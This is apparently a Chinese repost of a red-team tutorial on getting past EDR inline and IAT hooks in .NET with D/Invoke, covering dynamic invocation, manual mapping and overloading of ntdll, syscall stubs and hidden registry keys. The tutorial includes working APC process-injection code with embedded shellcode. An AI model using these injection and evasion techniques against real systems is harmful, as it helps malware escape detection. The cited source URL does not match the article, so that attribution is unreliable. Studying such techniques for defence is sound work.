EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook

41yf1sh 资讯 2020-12-01 09:40:49
446302
收藏

导语:本文展示了几种动态调用方法,可以利用这些方法绕过Inline和IAT Hook。

一、概述

本文展示了几种动态调用方法,可以利用这些方法绕过Inline和IAT Hook。可以在这里找到概念证明:https://github.com/NVISO-BE/DInvisibleRegistry

二、探索过程

时至今日,红队的技术已经发生了明显变化,他们越来越多地使用C#编写工具,或者逐步从PowerShell转移到C#。

由于AMSI(反恶意软件扫描接口)、脚本块日志记录等一些变化,利用PowerShell实施的一些攻击活动已经越来越容易被发现和防御。

C#中有一个很好用的功能,就是能够像在C或C++中一样,调用Win32 API并操纵这些低级别的函数。

在C#中利用这些API函数的过程被称为平台调用,简称为P/invoke。微软通过C#中的System.Runtime.InteropServices命名空间来实现这一点。所有这些都由CLR(公共语言运行时)进行管理。下图展示了如何使用P/Invoke来衔接非托管代码和托管代码。

1.gif

但是,从攻击者视角来说,使用.NET也存在一些缺点。由于CLR负责.NET与机器可读代码之间的转换,因此可执行文件不会直接转换为机器可读的代码。这意味着,可执行文件将其整个代码库存储在程序集中,因此非常容易进行逆向工程。

除了进行逆向以外,我们还越来越多地接触到EDR(终端监测与响应)。借助EDR,组织可以提高其网络安全性,使攻击者变得更加艰难,这显然是一件好事。

即使恶意程序在内存中执行(不接触磁盘,通常也称为“无文件”),由于EDR挂钩了进程,因此也可以捕捉到进程活动,并发现特定函数的执行过程。EDR有能力检查当前正在发生的事情,放行合法的函数调用,并阻止可疑的调用。@CCob发表过一篇关于这个概念,以及如何绕过挂钩的文章。一些EDR可能会挂钩到最底层,即负责Windows内核系统调用的ntdll.dll。下图说明了EDR的工作原理。

EDR如何对ntdll调用进行挂钩以防止恶意软件执行:

截屏2020-11-25 00.29.15.png

EDR主要有两种挂钩方式,分别是IAT Hooking和Inline Hooking(也被称为splicing)。

IAT的全称是导入地址表,我们可以将IAT类比为电话簿,能够在其中查找朋友的号码(所需的函数)。

这个电话簿可能被篡改,EDR可能会更改其中的某个条目,以指向EDR。下面展示了一个图表,说明了IAT Hooking的工作原理。

在这里,我们将EDR视为“恶意代码”:

截屏2020-11-25 00.29.08.png

在示例中,是一个要调用消息框的程序。该程序将在其电话簿中查找消息框的号码(地址),以便进行调用。

程序很难知道有人替换了电话号码(地址),所以每次当它以为在调用消息框时,实际上都在调用EDR。

EDR会接受呼叫(调用),收听消息(调用的函数),如果EDR判断该内容时合法的,则会将消息框的真实地址返回给程序,以便进行实际的调用。

而Inline Hooking的原理可以类比成入侵者把枪顶在了我们要呼叫的朋友的脑袋上。

截屏2020-11-25 00.29.00.png

在Inline Hooking的情况下,程序已经有朋友(函数)的正确号码(地址),将会呼叫(调用)朋友,其朋友也将接听电话。

但是他不知道的一点是,他的朋友实际上已经被劫持为人质,入侵者会告诉朋友该说些什么(执行特定指令),然后恢复对话,就好像什么都没有发生。

这两种方法可能会同时影响攻击者和防御者。从攻击的角度来看,还存在一些可能绕过这些函数挂钩的方法。我们联想到了MDSec的Firewalker和@CCob的Sharpblock。或者,使用最终级的绕过方式——直接使用系统调用。

另一个比较有趣的项目是Sharpsploit,这个项目包含攻击者使用的C#工具,就如同PowerShell对应的PowerSploit一样。但是,Sharpsploit存在一个缺点,编译后的DLL会被认为是恶意,因此,如果我们将Sharpsploit作为程序的依赖,很快就会被反病毒软件发现。但是,Sharpsploit的一部分是动态调用(D/Invoke),我认为这是整个Sharpsploit中最有趣的一部分。它允许攻击者调用P/Invoke利用的API,但并不是动态导入,而是动态执行。这意味着,将完全绕过IAT Hooking,因为动态调用函数不会在可执行文件导入表中创建条目。最终,分析人员和EDR都无法通过查看导入表来分析出程序的功能。TheWover写过一篇非常不错的文章,强烈建议阅读。

此外,TheWover发布了一个NuGet软件包,其优点在于它可以直接用作库,不会被检测为恶意软件。这个软件包的优点在于其中包含结构和函数,不再需要开发人员手动进行定义。我们可以用几天前创建的示例来进行说明:https://gist.github.com/jfmaes/944991c40fb34625cf72fd33df1682c0#file-dinjectqueuerapc-cs

我使用NuGet重新创建了相同的PoC:

using System;
using System.Security.Principal;
using System.Runtime.InteropServices;
 
 
namespace DInvoke
{
    class tests
    {
        public static void InjectNewProcessCreateUserAPC(String process)
        {
            byte[] sc = new byte[112] {
        0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3
        };
            uint oldProtect = 0;
            bool success = false;
            String processPath = process;
            Data.Win32.ProcessThreadsAPI.STARTF si = new Data.Win32.ProcessThreadsAPI.STARTF();
            Data.Win32.ProcessThreadsAPI._PROCESS_INFORMATION pi = new Data.Win32.ProcessThreadsAPI._PROCESS_INFORMATION();
            success = DynamicInvoke.Win32.CreateProcess(processPath, null, IntPtr.Zero, IntPtr.Zero, false, Data.Win32.Advapi32.CREATION_FLAGS.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);
 
            Console.WriteLine(pi.dwProcessId);
            IntPtr alloc = DynamicInvoke.Win32.VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length, 0x1000 | 0x2000, 0x40);
            success = DynamicInvoke.Win32.WriteProcessMemory(pi.hProcess, alloc, sc, (uint)sc.Length, out UIntPtr bytesWritten);
 
 
            IntPtr tpointer = DynamicInvoke.Win32.OpenThread(Data.Win32.Kernel32.ThreadAccess.SetContext, false, (int)pi.dwThreadId);
            DynamicInvoke.Win32.VirtualProtectEx(pi.hProcess, alloc, sc.Length, 0x20, out oldProtect);
            DynamicInvoke.Win32.QueueUserAPC(alloc, tpointer, IntPtr.Zero);
            DynamicInvoke.Win32.ResumeThread(pi.hThread);
        }
 
        public static void Main(string[] args)
        {
            InjectNewProcessCreateUserAPC(@"C:\Windows\System32\notepad.exe");
        }
    }
}

代码从731行缩减为38行。对攻击者的.NET开发过程来说,NuGet是D/Invoke有史以来做好的发明。

NuGet仍然正在开发中,其最终目标是完全替代P/Invoke。如果大家希望提供帮助,欢迎随时提交Pull Request。我们相信,借助开源的力量,这个库会变得非常庞大。

三、利用D/Invoke绕过挂钩

现在,挂钩和动态调用的概念已经非常清晰了,我们可以使用D/Invoke来绕过挂钩。

为了激发灵感,我决定根据Specterops的研究成果来创建概念验证。

在研究过程中,他们使用了Mark Russinovich的研究,并将其转变为攻击过程的概念证明。Mark在2005年发布了一个名为RegHide的工具。

他发现,在使用Ntcreatekey创建新的注册表项时,我们可以在空字节前添加一个字节。当在注册表项之前添加一个空字节时,解释器会将其视为字符串终止(在C语言中,字符串以一个空字节终止)。这样一来,将会导致注册表接受新的注册表项,但无法正确显示。这为防御者提供了一个很好的突破口,说明其中可能存在一些问题。

尝试显示名称中包含空字符的键值时,Regedit将显示错误:

5.png

在概念证明中,我利用D/invoke和NuGet的功能,将PowerShell移植到了C#中。

我已经为D/invoke项目提交了Pull Request,其中添加了必要的结构和委托。同时,也加入了其他的一些内容,例如QueueUserAPC进程注入。

但是,由于我在编写这篇文章,所以实际上我也将必要的结构加入到了PoC之中,使其兼容当前的D/invoke NuGet包。

PoC可以在这里找到:https://github.com/NVISO-BE/DInvisibleRegistry

DinvisbleRegistry PoC的用法:

截屏2020-11-25 00.28.04.png

在PoC中,编码了三种方法,它们也可以合并为一个大函数,作为一个完整的实现。

之所以要花时间来编写代码,是因为我希望展示攻击者可以利用D/Invoke绕过挂钩的各种方法,及其背后的原理。

3.1 方法1:经典动态调用

当指定-n标志和所有其他必需的参数时,PoC将使用传统的D/Invoke方法在所请求的配置单元中创建一个新的注册表项(如果使用-h表示则会隐藏)。

当动态调用函数时,这种方法将绕过IAT Hooking,因此不会显示在IAT中。

D/Invoke的工作方式是这样的,我们首先需要创建要尝试执行的API调用的签名(除非D/Invoke Nuget中已经存在)和相应的Delegate函数。

API签名:

public static DInvoke.Data.Native.NTSTATUS NtOpenKey(
ref IntPtr keyHandle,
STRUCTS.ACCESS_MASK desiredAccess,
ref STRUCTS.OBJECT_ATTRIBUTES objectAttributes)
{
object[] funcargs =
{
keyHandle,desiredAccess,objectAttributes
};
DInvoke.Data.Native.NTSTATUS retvalue = (DInvoke.Data.Native.NTSTATUS)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenKey", typeof(DELEGATES.NtOpenKey), ref funcargs);
keyHandle = (IntPtr)funcargs[0];
return retvalue;
}

对应委托:

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate DInvoke.Data.Native.NTSTATUS NtOpenKey(
ref IntPtr keyHandle,
STRUCTS.ACCESS_MASK desiredAccess,
ref STRUCTS.OBJECT_ATTRIBUTES objectAttributes);

我们可以在API签名中看到,正在调用DynamicAPIInvoke函数,并将该函数的委托传递给它。

3.2 方法2:手动映射

一些威胁参与者和恶意软件可能会使用手动映射的方法。TheWover在他的博客中解释了手动映射的概念:

DInvoke支持将PE模块手动映射到存储在磁盘或内存中模块。这个功能可以用于绕过API挂钩,或者用于在无需接触磁盘的情况下从内存加载和执行Payload。该模块可以映射到动态分配的内存中,也可以映射到磁盘上任意文件支持的内存中。从磁盘手动映射模块时,将使用它的新副本。这样一来,反病毒软件或EDR原本放置在其中的任何挂钩都不再存在。如果手动映射的模块调用到其他挂钩的模块,那么仍然有可能触发反病毒或EDR。但是,至少对于手动映射模块本身的所有调用,都不会被任何钩子捕获。这也就是恶意软件经常会手动映射ntdll.dll的原因。他们使用新的副本,绕过加载到进程中的ntdll.dll里面放置的所有挂钩,强制自己仅使用新ntdll.dll副本中的Nt* API调用。由于ntdll.dll中的Nt* API调用仅仅是系统调用的包装,因此对它们的任何调用都不会无意跳转到可能挂钩的其他模块。

当我们指定了-m标志,并且代码类似于下述代码时,便会在PoC中完成了手动映射。

首先,映射正在使用的库。我们越隐蔽,挂钩到调用树的概率就越小。我们可以使用ntdll.dll。

DInvoke.Data.PE.PE_MANUAL_MAP mappedDLL = new DInvoke.Data.PE.PE_MANUAL_MAP();
mappedDLL = DInvoke.ManualMap.Map.MapModuleToMemory(@"C:\Windows\System32\ntdll.dll");

接下来,为需要调用的函数创建委托,如果它还没有在D/Invoke中,那么可以利用NuGet。

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate DInvoke.Data.Native.NTSTATUS NtOpenKey(
ref IntPtr keyHandle,
STRUCTS.ACCESS_MASK desiredAccess,
ref STRUCTS.OBJECT_ATTRIBUTES objectAttributes);

接下来,创建函数参数和数组,并将其存储:

IntPtr keyHandle = IntPtr.Zero;
STRUCTS.ACCESS_MASK desiredAccess = STRUCTS.ACCESS_MASK.KEY_ALL_ACCESS;
STRUCTS.OBJECT_ATTRIBUTES oa = new STRUCTS.OBJECT_ATTRIBUTES();
oa.Length = Marshal.SizeOf(oa);            
oa.Attributes = (uint)STRUCTS.OBJ_ATTRIBUTES.CASE_INSENSITIVE;            
oa.objectName = oaObjectName;            
oa.SecurityDescriptor = IntPtr.Zero;          
oa.SecurityQualityOfService = IntPtr.Zero;           
DInvoke.Data.Native.NTSTATUS retValue = new DInvoke.Data.Native.NTSTATUS();
object[] ntOpenKeyParams =
{
    keyHandle,desiredAccess,oa
};

最后,调用D/Invoke CallMappedDLLModuleExport,从手动映射的DLL中调用函数。

retValue = (DInvoke.Data.Native.NTSTATUS)DInvoke.DynamicInvoke.Generic.CallMappedDLLModuleExport(mappedDLL.PEINFO, mappedDLL.ModuleBase, "NtOpenKey", typeof(DELEGATES.NtOpenKey), ntOpenKeyParams, false);

对于ntdll来说,CalledMappedDLLModuleExport的最后一个参数为False,这是因为ntdll中没有DllMain方法。如果将其设置为True,会在我们尝试访问不存在的内存时引发崩溃(Panic)。

3.3 方法3:重载映射

TheWover解释了重载映射(Overloadmapping)的概念:

除了普通的手动映射外,我们还支持模块重载。模块重载可以让我们将Payload(以字节数组形式)存储在内存中,由磁盘上合法文件提供内存的支持。这样一来,当我们从中执行代码时,这段代码似乎时由磁盘上合法的、经过有效签名的DLL中执行的。

需要注意的是,手动映射非常复杂,我们不能保证我们的实现涵盖了所有情况。目前的版本已经可以用于许多常见的用例,并且仍在不断完善。另外,手动映射和syscall stub生成不适用于WOW64进程。

方法2和方法3在实现上基本相同,唯一不同的是调用了重载手动映射的方法,不必再映射到内存。

        DInvoke.Data.PE.PE_MANUAL_MAP mappedDLL = DInvoke.ManualMap.Overload.OverloadModule(@"C:\Windows\System32\ntdll.dll");

其余的实现与方法2相同。

如果要查看使用了哪个进程,可以使用PE_MANUAL_MAP DecoyModule调用来获取:

Console.WriteLine("Decoy module is found!\n Using: {0} as a decoy", mappedDLL.DecoyModule);

3.4 方法4:系统调用

这种方法目前还存在一些缺陷,因此有可能无法获得想要的结果,我们暂时没有在PoC中实现这种方法,我建议在以后的D/Invoke版本中不要使用这种方法。

D/Invoke提供了一个API来动态获取系统调用。其生成系统调用的步骤如下。

创建委托(如果不存在):

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate DInvoke.Data.Native.NTSTATUS NtOpenKey(
ref IntPtr keyHandle,
STRUCTS.ACCESS_MASK desiredAccess,
ref STRUCTS.OBJECT_ATTRIBUTES objectAttributes);

创建一个IntPtr来存储系统调用指针,并使用GetSyscallStub函数来填充该指针:

IntPtr syscall = IntPtr.Zero;
syscall  = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtOpenKey");

使用Marshal创建使用系统调用的调用的委托:

DELEGATES.NtOpenKey syscallNtOpenKey = (DELEGATES.NtOpenKey)Marshal.GetDelegateForFunctionPointer(syscall, typeof(DELEGATES.NtOpenKey));

最后,进行调用:

retValue = syscallNtOpenKey(ref keyHandle, desiredAccess, ref oa);

四、总结

我希望这篇文章能够很好地说明攻击者是如何绕过IAT和Inline Hooking,从而展示绕过EDR钩子的不同方法。

欢迎大家提交Pull Request,为D/Invoke项目作出贡献。可以在这里找到D/Invoke GitHub项目:https://github.com/TheWover/DInvoke

概念证明可以在这里找到:https://github.com/NVISO-BE/DInvisibleRegistry

本文翻译自:https://landave.io/2020/11/bitdefender-upx-unpacking-featuring-ten-memory-corruptions/如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务